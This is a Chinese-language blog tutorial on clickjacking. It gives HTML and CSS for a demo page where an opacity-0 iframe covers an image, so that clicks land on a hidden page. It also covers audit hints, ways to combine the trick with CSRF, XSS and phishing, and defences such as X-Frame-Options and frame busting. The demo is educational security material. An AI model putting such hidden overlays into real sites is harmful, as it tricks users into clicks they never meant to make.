Web安全

ClickJacking Attack

2020-04-06  本文已影响0人  六亲不认的步伐

点击劫持利用


基本利用原理:主要是利用web页面的html+css来进行实现,通过将真正的网站降低透明度等方法,在视觉的角度上不容易察觉,进行的一个容易实现的利用手法。

1. 通过frame标签利用

为了进行说明,自己进行代码简易实现,整改原理效果,使用了html+bootstrap进行简单开发

首先是正常页的开发效果展示,以本人某次参加的CTF结果来进行展示原始页面。

正常结果展示页面
同时附上自己的源代码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <link rel="stylesheet" href="./css/bootstrap.min.css">
    <script src="./js/bootstrap.js"></script>
    <style>
        h2{
            color: red;
        }
       p{
            color: white;  
        }
    </style>
</head>
<body>
    <h2 class="text-center">Click Jack Attack platform</h2>
    <p class="text-right">--by Sccc</p>
    <hr/>
    <h3 class="bg-primary text-center">Css Using : bootstrap</h3>
    <h3 class="bg-success text-center">Author:Sccc</h3>
    <h3 class="bg-info text-center">Email:3300744526@qq.com</h3>
    <h3 class="bg-warning text-center">Date:2020.04.06</h3>
    <a href="https://baike.baidu.com/item/ctf/9548546"><img src="./CTF.png" alt="Hello,Guest" class="img-rounded"></a>
</body>
</html>

审查代码容易发现,点击图片会跳转至CTF (夺旗赛)页面,这是业务的正常需求
其次添加恶意页面使用html5中的iframe标签,添加链接为clickjacking
效果如下

嵌入恶意页面
最后隐藏恶意页面(降低页面透明度为0,显示原始正常页面,同时调整两个标签直接的垂直优先级)
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <link rel="stylesheet" href="./css/bootstrap.min.css">
    <script src="./js/bootstrap.js"></script>
    <style>
        h2{
            color: red;
        }
        img{
            opacity: 100%;
            z-index: -1;
        }
        iframe{
            position:absolute;
            top:20;
            left: 0;
            height: 100%;
            width: 100%;
            opacity: 0%;
        }
    </style>
</head>
<body>
    <h2 class="text-center">Click Jack Attack platform</h2>
    <hr/>
    <h3 class="bg-primary text-center">Css Using : bootstrap</h3>
    <h3 class="bg-success text-center">Author:Sccc</h3>
    <h3 class="bg-info text-center">Email:3300744526@qq.com</h3>
    <h3 class="bg-warning text-center">Date:2020.04.06</h3>
    <a href="https://baike.baidu.com/item/ctf/9548546"><img src="./CTF.png" alt="Hello,Guest" class="img-rounded"></a>
    <iframe src="https://baike.baidu.com/item/clickjacking/6910124?fromtitle=%E7%82%B9%E5%87%BB%E5%8A%AB%E6%8C%81&fromid=6742958"></iframe>
</body>
</html>

点击页面图片位置,不再会跳转至CTF介绍页面,而跳转至clickjacking页面,成功进行了劫持。

效果查看方法:将iframe标签的属性值opacity: 0%;调至50%更有利于观察

2.代码审计的关键部分

注意观察几个重要的地方
html主要观察是否存在<a> <iframe>这些能够嵌入,跳转等标签
css主要观察opacity z-index position等能够使html标签进行位置,透明度,页面垂直优先级变化等关键css修饰词


3.攻击利用

可以结合 CSRF 漏洞,进行客户端跨站请求伪造攻击。
可以结合 XSS 漏洞,进行js恶意代码执行,cookie盗取等。
可以结合 钓鱼攻击,构造钓鱼页面结合点击劫持进行攻击。


4. 攻击防御

4-1 : Server defence

X-FRAME-OPTIONS报文头参数指定为DENY : 禁止iframe标签 SAMEORIGIN:同源访问
FrameBusting Coding : 检测代码进行防御 FrameBusting
User authentication code :使用用户认证码来进行对访问用户的认证

4-2: Client(Browser) defence

Update Browser :浏览器更新
Plug-in installation :Firefox 浏览器提供了插件安装,可以安装相关插件例如 NoScript来进行避免
F12 : 通过F12快捷键来对当前页面的代码进行审计,配合使用Ctrl+F效果更加


5.参考文献

Busting Frame Busting:a Study of Clickjacking Vulnerabilities on Popular Sites[J] ---- Gustav Rydstedt, Elie Bursztein, Dan Boneh 2010 July p1-p13

6. 彩蛋

其实自己在第一个代码页面中,也利用视觉问题,进行简单水印添加,通过F12审计可以查找到


利用css视觉问题,添加简单水印
上一篇下一篇

猜你喜欢

热点阅读